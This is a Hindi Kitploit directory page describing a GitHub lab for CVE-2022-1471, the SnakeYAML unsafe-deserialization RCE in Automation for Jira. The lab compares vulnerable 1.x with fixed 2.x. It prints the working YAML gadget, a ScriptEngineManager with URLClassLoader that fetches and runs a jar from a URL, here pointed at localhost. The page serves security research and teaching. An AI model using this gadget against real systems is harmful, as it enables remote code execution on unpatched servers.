Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-1471-jira-lab — ऑफ़लाइन CVE-2022-1471 लैब: SnakeYAML असुरक्षित डिसेरिएलाइज़ेशन से RCE; हानिरहित स्थानीय पेलोड का उपयोग करके कमज़ोर 1.x बनाम सुधारित 2.x की तुलना करता है। | Kitploit
उपकरण/GitHubGitHub/aykhan019/cve-2022-1471-jira-lab
भेद्यता विश्लेषणशोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubaykhan019/cve-2022-1471-jira-lab

cve-2022-1471-jira-lab

ऑफ़लाइन CVE-2022-1471 लैब: SnakeYAML असुरक्षित डिसेरिएलाइज़ेशन से RCE; हानिरहित स्थानीय पेलोड का उपयोग करके कमज़ोर 1.x बनाम सुधारित 2.x की तुलना करता है।

रिपॉजिटरी देखें
5 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-1471 — SnakeYAML RCE लैब (Jira / Automation for Jira संदर्भ)

ऑफ़लाइन, स्व-निहित लैब जो CVE-2022-1471 (SnakeYAML असुरक्षित डिसीरियलाइज़ेशन → RCE, CVSS 9.8) के पीछे की क्रियाविधि को सिद्ध करता है, जैसा कि Jira / Jira Service Management में 9.4.9 चला रहे होस्ट के विरुद्ध प्राप्त निष्कर्ष में उपयोग किया गया है (प्रभावित सीमा 9.4.0–9.4.12, 9.4.14 में फिक्स्ड — Atlassian JSDSERVER-14906 देखें)।

यह लैब ठीक दो चीज़ें प्रदर्शित करता है:

  1. SnakeYAML 1.31 (वह 1.x श्रृंखला जो Jira 9.4.9 बंडल किए गए Automation for Jira ऐप में शामिल करता है) YAML पार्सिंग के दौरान विहित गैजेट निष्पादित करता है — कोड चलता है, एक मार्कर फ़ाइल लिखी जाती है।
  2. SnakeYAML 2.2 (वह श्रृंखला जो 9.4.14+ फिक्स में शामिल है) उसी पेलोड को अस्वीकार करता है (ConstructorException) — कुछ भी नहीं चलता।

यह किसी लाइव होस्ट का नहीं शोषण करता है। सब कुछ 127.0.0.1 पर चलता है; पेलोड (src/Exploit.java) हानिरहित है — इसका स्टैटिक इनिशियलाइज़र एक टेक्स्ट फ़ाइल लिखता है और कुछ नहीं।

चलाएं

root@kitploit:~
./run.sh
cat PWNED-proof.txt   # on-disk proof of execution (regenerated each run)

इसके लिए PATH पर JDK 17+ की आवश्यकता है (javac, java, jar)। यदि tools/ के अंतर्गत एक बंडल किया हुआ JDK मौजूद है, तो उसका उपयोग किया जाता है। एकमात्र नेटवर्क ट्रैफ़िक 127.0.0.1:8077 पर स्थानीय HTTP सर्वर है जो पेलोड jar को सर्व करता है, और बाहर निकलने पर बंद कर दिया जाता है।

यह कैसे काम करता है

src/VulnDemo.java एक मात्र new Yaml().load(yaml) है — वही असुरक्षित कॉल जो कमजोर Automation for Jira संस्करण आयातित नियम YAML पर करते हैं। हमलावर YAML विहित गैजेट है:

root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
  ]]
]

SnakeYAML 1.x बिना किसी अनुमति-सूची के मनमानी कक्षाओं को इंस्टैंशिएट करता है → JVM "हमलावर" सर्वर से एक क्लास लाता और लोड करता है → इसका स्टैटिक इनिशियलाइज़र निष्पादित होता है। SnakeYAML 2.x डिफ़ॉल्ट रूप से SafeConstructor का उपयोग करता है, जो ग्लोबल टैग को अस्वीकार करता है।

sample-output-PWNED-proof.txt एक रन से मार्कर फ़ाइल की सामग्री दिखाता है; screenshots/ दोनों रन (कमजोर बनाम फिक्स्ड) दिखाता है।

दायरा / अस्वीकरण

अधिकृत सुरक्षा अनुसंधान। केवल लाइब्रेरी तंत्र और फिक्स सीमा का प्रमाण — किसी उत्पादन प्रणाली के विरुद्ध शोषण नहीं। Jira वेक्टर का शोषण करने के लिए अतिरिक्त रूप से एक स्वचालन नियम के प्रमाणित (Jira एडमिन) आयात की आवश्यकता होती है।

संदर्भ

  • NVD — CVE-2022-1471
  • Atlassian FAQ for CVE-2022-1471
  • Atlassian JSDSERVER-14906
  • SnakeYAML issue #561
टूल डाउनलोड करें